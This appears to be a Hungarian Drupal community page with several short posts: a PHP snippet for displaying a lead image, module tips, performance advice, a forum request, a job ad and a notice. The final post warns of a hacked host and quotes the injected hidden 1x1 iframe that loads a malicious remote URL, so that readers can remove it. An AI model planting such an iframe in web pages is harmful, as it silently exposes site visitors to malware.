Keresés

A nap függvénye: content_view_field()

Anonymous képe

Ügyféligény: multiple value képmező első képét tegyem ki a tartalom tetejére, a cím alá. Leformázva, Lightbox diavetítéssel, toronyórával-lánccal.

<?php
function modulneve_nodeapi(&$node, $op, $a3 = NULL, $a4 = NULL) {
  if ($op == 'view') {
    if ($node->type == 'type') {
      $field = content_fields('field_image', 'type');
      // Nincs szükségem a $node->field_image összes értékére, ledarálhatom.
      // Ha szükség van rá, akkor ki lehet tenni a mezőt egy pszeudo-node-ba, és ott darálni (idézet a dokumentációból):
      // „Can be a 'pseudo-node', containing at least 'type', 'nid', 'vid', and the field data.”
      $node->field_image = array($node->field_image[0]);
      $lead_picture = content_view_field($field, $node);
      $node->content['lead_picture'] = array(
        '#value' => $lead_picture,
        '#weight' => -1000,
      );
    }
  }
}
?>

Egyetlen elem megjelenítéséhez a content_view_field() helyett használható még a content_format():

<?php
$lead_picture = content_format($field, $node->field_image[0], 'format', $node);
?>

Ez smink nélkül nyomtatja ki a mezőt, a „format” az az érték, amit a CCK megjelenítés fülön a legördülőből kiválasztunk.

A nap modulja: Triggerunlock

Anonymous képe

Ma fedeztem fel ezt a kis gyöngyszemet. :) Bekapcsoltam a Simplenews Action modult, ami kifogástalanul működik, csak éppen nem csinál semmit. Fel- és leiratkozás után kellett volna átdobnom a felhasználót egy-egy nyugtázó oldalra, létre is hoztam a system típusú átirányításokat, de a csoda sajnos nem történt meg – a Triggers oldalon ott figyel a Simplenews fül, de nincs egyetlen árva elérhető action se. A Simplenews fórumban ajánlotta valaki a Triggerunluck modult, még sose hallottam róla. Bekapcsolás után az összes action elérhető valamennyi Triggers fülön, egyszerűen nagyszerű.

Kezdők fura dolgokat tudnak így összekattintgatni, használata inkább csak haladóknak ajánlott.

read more

Advanced Mail Reroute – fejlesztői eszköz email balesetek megelőzésére

Anonymous képe

A napokban az egyik fejlesztői webhelyen véletlenül elindítottam a cront, mire a Notify modul kiküldte az új tartalmakról szóló értesítőket a feliratkozott felhasználóknak. Állhattam neki kihalászni az adatbázisból a feliratkozottak email címeit, és aztán írhattam az elnézést kérő levelet. Megrendelő sem volt túl boldog. :)

Az ilyen balesetek megelőzésére alkalmas az Advanced Mail Reroute modul, amivel beállíthatjuk, hogy bizonyos emaileket a rendszer ne továbbítson, míg a fejlesztés során szükséges posta (jelszavak, beléptető linkek, stb.) zavartalanul megérkezik hozzánk.

read more

6.19-es frissítés után szétesik a smink?

Anonymous képe

A stíluslapokban lévő /* ékezetes megjegyzések */ okozzák. Ezeket egyébként is ajánlott kerülni, mert elhasalhat rajtuk az Internet Explorer.

  1. A Teljesítmény oldalon kapcsoljuk ki a CSS optimalizálást.
  2. A stíluslapokból szedjük ki az ékezetes megjegyzéseket, és mentsük a fájlokat UTF-8 kódolással.
  3. A Teljesítmény oldalon töröljük a gyorstárat.
  4. Kapcsoljuk vissza a CSS optimalizálást.

read more

A Drupal legkevésbé ismert fontos szolgáltatása

Anonymous képe

Sűrű nyári elfoglaltságaink közben egy kicsit elmaradtunk a Drupal.hu linkgalériájának karbantartásával, és megint felhalmozódott jó pár engedélyezésre váró tartalom. Elnézést azoktól, akik régóta vártak arra, hogy az általuk beküldött webhely megjelenjen a galériában!

Most gyorsan ledolgoztam az elmaradást – és a beküldött webhelyek HTML forráskódjának ellenőrzése során ismét szembesültem azzal, hogy 10 webhelyből 9 nem használja a CSS és Javascript fájlok optimalizálását. Pedig mellékhatása gyakorlatilag nincs, és nem kerül semmibe – a fejlesztés végén a Teljesítmény (/admin/settings/performance) oldalon be kell tenni két pipát a megfelelő helyre, megnyomni a „Beállítások mentése” gombot, és kész. A webhely reakcióideje pedig érzékelhetően csökken, hiszen a böngészők ezután nem 20-30+ hanem csak 2-3 külső fájlt fognak egyenként lekérni a szerverről.

read more

Hozzászólások közzététele emailből, bejelentkezés nélkül

Anonymous képe

Sziasztok!

Arra lenne szükségem, hogy emailből lehessen engedélyezni az elfogadási sorba érkező hozzászólásokat, bejelentkezés nélkül.

Elvileg pl. úgy tudna működni egy ilyen megoldás, hogy kiküld a szerver a moderátornak egy email értesítőt (ez eddig sima ügy), benne egy egyszer használatos kódot tartalmazó linkkel. Ha a linket meglátogatják, a rendszer kiengedi élesbe a kóddal azonosított hozzászólást. Kerestem ilyen modult, de nem találtam.

Nem nagy ügy megírni, de ha van már ilyen, akkor nem próbálnám újra feltalálni a meleg vizet. Ha esetleg tudtok egy ilyen modulról, kérem írjátok meg a nevét. Köszönöm!

Drupal verzió: 

Javascript/JQuery fejlesztőt keresünk animációs munkához

Anonymous képe

A feladat: egy AJAX segítségével frissülő Drupal oldalon kellene a frissülést feldobni egy kis plusz animációval.

Jelentkezni a kapcsolati oldalamon keresztül, vagy az edithillyes csiga gmail pont com címen, JQuery-s referenciákkal és d.hu-s vagy weblaboros azonosítóval lehet.

Szerk.: köszönjük a jelentkezéseket, a felhívás már nem aktuális.

Drupal verzió: 

Galériába beküldött linkek közzététele technikai okok miatt szünetel

Anonymous képe

Szolgálati közlemény:

A drupal.hu galériába beküldött linkek közzététele technikai okok miatt szünetel. A problémát valószínűleg az okozza, hogy jelenleg a d.hu nem teljesen PHP 5.3 kompatibilis, emiatt nem tudjuk a beküldött linkeket közzétenni.

Dolgozunk a megoldáson, kérjük a már egyszer beküldött linkeket ne küldjétek be újra.

Köszönjük megértéseteket.

Kapcsolódó oldalunk:
Linkgalériával kapcsolatos kérdések a kézikönyvben

Fórum: 

Feltört webtárhely

Anonymous képe

Ma reggel az egyik ügyfelem [tárhelyszolgáltató neve törölve] tárhelyén ezt találtam az index.php fáljok elején:

<iframe src="http://gratwall.vv.cc/showthread.php?t=80480463" width="1" height="1" frameborder="0"></iframe>

Először gzip tömörítési problémára gyanakodtam, mert a címlapot lekérve ilyen hibaüzenetek jöttek:

Chrome: 330net::ERR_CONTENT_DECODING_FAILED
Safari: cannot decode raw data” (CFURLErrorDomain:-1015)

Közben kiderült, hogy a tárhelyet nyilvánvalóan feltörték, és a fenti kódot szúrták be az index.php elejére. Elképzelhető, hogy a látszólagos tömörítési probléma mögött is a feltörés áll, bár nem kizárt, hogy két külön problémával állunk szemben.

Ha náluk van a webhelyed, szedd ki a fenti iframe kódot az index.php elejéről, és jelezd a problémát az ügyfélszolgálatnak.